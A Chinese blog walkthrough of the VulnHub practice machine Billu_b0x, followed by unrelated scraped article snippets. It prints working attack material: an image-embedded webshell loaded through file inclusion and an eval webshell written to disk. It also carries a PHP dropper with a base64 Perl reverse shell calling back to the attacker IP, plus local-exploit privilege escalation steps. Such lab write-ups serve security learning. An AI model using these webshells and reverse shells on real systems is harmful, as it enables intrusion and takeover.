个人博客:点我

本次来试玩一下vulnhub上的Billu_b0x,只有一个flag,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

Billu_b0x:192.168.31.190
Kali: 192.168.31.17
Win7: 192.168.31.168


信息搜集

端口扫描发现开放了80和22端口

nmap -sV -A -p- 192.168.31.190

御剑扫描发现有add.php c in phpmy test.php panel.php
首页是一个登录窗口,并且提示我们“展现我们sqllabs技巧的时候到了”,明显是sql注入。add.php似乎是一个文件上传,in是phpinfo,phpmy是数据库phpmyadmin的后台管理,test.php似乎是一个file传参的文件包含,panel.php重定向到首页。


渗透过程

常规的还是首页sql注入尝试一下。但手注注不出来,不管什么错误都是报try again。丢进sqlmap不知道什么被过滤了,跑不出注入点,看来这个sql注入是行不通了。

再看一下test.php文件包含,POST先包含一下test.php,直接把文件下了下来,看一下源码并不是文件包含,而是通过一个file_download函数下载。

因此把能下载的文件全都下载下来看一遍。最后在c中发现存在连接数据库的账户密码。

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

phpmy直接登录上去即可进入。

有一种比较骚的做法是直接尝试下载phpmyadmin的默认配置文件,/var/www/phpmy/config.inc.php,下载下来直接就发现有root和roottoor密码,ssh连上去就已经是root用户了,整题就结束了。但这样就太不好玩了,我们还是尝试寻常的办法。

在ica表的auth列中找到后台登录账户和密码,

登录index.php进入panel.php。是一个添加用户和显示用户的界面,先上传一个正常的用户,可以显示出来,右键图片能直接看到上传路径为uploaded_images/,文件名也没有修改。随后上传一个图片码sqzr.jpg,过滤了后缀、文件类型、文件头,利用目录遍历直接访问192.168.31.190/uploaded_images能看到上传成功。

后来在找哪里存在文件包含,test.php显然已经不是了,最终在panel.php中找到

include($dir.'/'.$_POST['load']);

语法是包含当前目录下的load传参,前面的$dir.’/'相当于没有。那么直接页面刷新抓包修改load,

load=uploaded_images/sqzr.jpg&continue=continue&sqzr=phpinfo();

成功显示phpinfo();
但是此时蚁剑不知道为什么不能直接连接,因此利用sqzr先写入一个shell.php,然后直接连接这个文件。(写入时注意$前需要\转义)

load=uploaded_images/sqzr.jpg&continue=continue&sqzr=system("echo '<?php eval(\$_POST[x]);?>' > uploaded_images/shell.php");


提权

进入后先查看版本,是ubuntu 12.04,查找一下漏洞库,有很多漏洞可以利用。我这里使用37292.c

cp /usr/share/exploitdb/exploits/linux/local/37292.c ~/37292.c

然后下载到靶机

cd ~
python -m SimpleHTTPServer 80 wget http://192.168.31.17/37292.c

这里利用蚁剑中的虚拟终端似乎不能提权成功,我还是喜欢使用反弹shell。
蚁剑在uploaded_images中写入shell2.php,源码如下(注意修改):

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = '192.168.31.17'; #修改为你的攻击机ip
$yourport = '7890'; #修改为你的攻击机的监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

kali监听

nc -lvp 4444

然后访问192.168.31.190/uploaded_images/shell2.php就能上线了。
建立虚拟终端

python -c 'import pty;pty.spawn("/bin/bash");'

然后编译执行那个提权文件就可以了。

gcc -pthread 37292.c -o crack -lcrypt
./crack

此时已经提权成功了。


总结

这个靶场的入手点有很多,包含的元素也很多,文件包含 文件上传 漏洞利用 sql注入 数据库配置等等,有一定综合性。

Billu_b0x内网渗透-vulnhub的更多相关文章

  1. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  2. 内网渗透 关于GPO

    网上有很多讲内网渗透的文章,但看来看去还是一老外的博客给力,博客地址:www.harmj0y.net/blog,看完就明白这里面的很多思路都非常好. 做内网时,有时会碰到目标的机器开防火墙,所有端口基 ...

  3. [原创]K8 Cscan 3.6大型内网渗透自定义扫描器

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...

  4. [原创]K8 cping 3.0大型内网渗透扫描工具

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  5. [源码]Python简易http服务器(内网渗透大文件传输含下载命令)

    Python简易http服务器源码 import SimpleHTTPServerimport SocketServerimport sysPORT = 80if len(sys.argv) != 2 ...

  6. [原创]K8飞刀20150725 支持SOCKS5代理(内网渗透)

    工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11 简介: ...

  7. MSF 内网渗透笔记

    进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...

  8. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  9. 内网渗透之IPC,远程执行

    开启服务 net start Schedule net start wmiApSrv 关闭防火墙 net stop sharedaccess net use \\目标IP\ipc$ "&qu ...

随机推荐

  1. java变量类型和常量类型

    变量类型 局部变量 实例变量 类变量 public class 变量类型 { //属性:变量 //必须先定义再使用,并初始化 //布尔型:默认值为false //3. 类变量(静态变量) static ...

  2. Python - 头部解析

    背景 写 python 的时候,基本都要加两个头部注释,这到底有啥用呢? #!usr/bin/env python # -*- coding:utf-8 _*- print("hello-w ...

  3. adb 常用命令大全(3)- 查看手机设备信息

    查看手机型号 adb shell getprop ro.product.model 查看电池状况 adb shell dumpsys battery 其中 scale 代表最大电量,level 代表当 ...

  4. Hamcrest 断言框架

    Hamcrest是一个为了测试为目的,能组合成灵活表达式的匹配器类库.用于编断言的框架,使用这个框架编写断言,提高可读性及开发测试的效率,提供了大量"匹配器"方法,每个匹配器用于执 ...

  5. C#简单工厂模式学习

    刚学习设计模式,还不是太了解,感觉只有多数据库的情况下才用的到,待学习 首先创建空白解决方案,依次创建类库Model,IDAL,SqlServerDAL,DALFactory,BLL,DBUtilit ...

  6. MySQL查询之内连接,外连接查询场景的区别与不同

    前言 我在写sql查询的时候,用的最多的就是where条件查询,这种查询也叫内连查询inner join,当然还有外连查询outer join,左外连接,右外连接查询,常用在多对多关系中,那他们区别和 ...

  7. java的split方法中的regex参数

    我们需要以|进行分割,为了匹配|本身,正则中采用\|进行转义,而Java中\也表示转义,从java到正则需要必须使用\\|进行转义,即split中的\\表示正则的转义.

  8. docker启动jenikns,提示 :This image is for research only, DO NOT USE

    下载的jenkins镜像有问题?

  9. cannot connect to chrome at 127.0.0.1:9222

    window10系统,先cmd打开chrome, chrome --remote-debugging-port=9222 执行脚本 from selenium import webdriver fro ...

  10. js 命令模式 组合模式

    * 基本宏命令 var closeDoorCommand = { execute: function() { console.log("Closing the door..."); ...